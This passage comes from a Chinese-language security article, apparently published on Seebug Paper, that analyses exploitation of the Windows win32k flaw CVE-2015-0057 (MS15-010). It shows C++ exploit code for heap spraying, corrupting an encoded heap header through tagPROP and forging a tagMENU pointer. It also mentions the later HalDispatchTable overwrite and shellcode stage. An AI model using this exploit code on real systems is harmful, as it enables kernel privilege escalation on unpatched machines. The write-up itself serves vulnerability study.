    // build second overlay
    memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
    *(DWORD*)o2str = 0x00000000;
    *(DWORD*)(o2str + 4) = 0x00000000;
    *(DWORD*)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
    *(DWORD*)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10);


    string clearh, newh;
    o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
    clearh.append(o2str, 16);

    newh = XOR(clearh, xorKey);
    memcpy(o2str, newh.c_str(), 16);
    RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);

    SHORT unused_win_index = 0x20;

    for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++)
    {
        // property list
        SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);

        // overlay 1
        if ((i % 0x150) == 0)
        {
            NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
        }

        // menu object
        hmenutab[i] = CreateMenu();

        if (hmenutab[i] == 0)
            return FALSE;

        // overlay 2
        if ((i % 0x150) == 0)
            NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);

    }

    for (SHORT i = 0; i < MAX_OBJECTS - 0x20; i++)
    {
        MENUITEMINFOA mii;
        mii.cbSize = sizeof(MENUITEMINFO);
        mii.fMask = MIIM_ID;
        mii.wID = 0xBEEFBEEF;
        BOOL res = InsertMenuItemA(hmenutab[i], 0, TRUE, &mii);
        if (res == FALSE)
            return FALSE;
    }

    return TRUE;
}

2、這個是通過tagPROP來覆蓋堆頭的代碼,主要的目的是將size覆蓋掉,使其擴大,來達到覆蓋下面tagMENU的目的

VOID CorruptHeapHeader(PVOID menu_addr)
{
    ULONG_PTR xored_header;
    CHAR* tmp_header = NULL;
    string decoded_header, xored_heap_deader, new_heap_header;

    // decode first overlay heap header 
    xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
    decoded_header = XOR(string((CHAR*)xored_header, 16), xorKey);

    // modify heap header
    tmp_header = (CHAR*)decoded_header.c_str();
    tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10;  // new size
    tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10];        // new checksum

    // xor new heap header
    new_heap_header = XOR(decoded_header, xorKey);

    // overwrite first overlay heap header
    for (int i = 0; i < MAX_FAKE_OBJECTS; i++)
        SetPropA(spray_step_three[i], (LPCSTR)0x07, (HANDLE) * (ULONG_PTR*)(new_heap_header.c_str() + 8));
}

3、創建tagMENU的空間,后面的釋放在重新申請我就不貼代碼了,感興趣可以去ThunderJie師傅的exp中去找

VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr)
{
    memset(new_objects, '\xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
    memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR*)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);

    // modify _MENU.rgItems value
    * (ULONG_PTR*)(BYTE*)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;

    RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT)-1, OVERLAY1_SIZE + MENU_SIZE - 2);
}

之后的流程就是修改HalDispatchTable和執行shellcode的流程了,比較套路化

四、參考

https://github.com/55-AA/CVE-2015-0057

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010

https://www.anquanke.com/post/id/192604

https://xz.aliyun.com/t/4549

https://blog.csdn.net/qq_35713009/article/details/102921859


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1439/